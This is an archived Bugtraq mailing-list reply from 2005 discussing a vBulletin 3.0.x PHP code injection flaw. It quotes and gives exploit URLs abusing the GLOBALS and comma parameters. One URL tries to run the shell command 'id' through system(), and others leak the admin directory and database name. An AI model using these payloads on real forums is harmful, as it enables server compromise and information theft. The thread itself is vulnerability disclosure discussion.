Bugtraq mailing list archives

Re: vbulletin 3.0.x PHP code execution


From: AL3NDALEEB. <al3ndaleeb () uk2 net>
Date: 15 Feb 2005 22:53:46 -0000

In-Reply-To: <opsl7ypolvsmddlu@sampah>

with nested variable you can't run PHP CODE  but you can evaluate value of variables .

ex:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname


On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb () uk2 net> wrote:

The 4th condition is the most hard to find condition in php installation.  
There is a technique to by pass magic quote condition by supplying nested  
variable to $comma. Since I've no vbulletin source code to test with this  
technique is not confirmed in this vulnerability.

example:
      http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

It isnever tested to real


Current thread: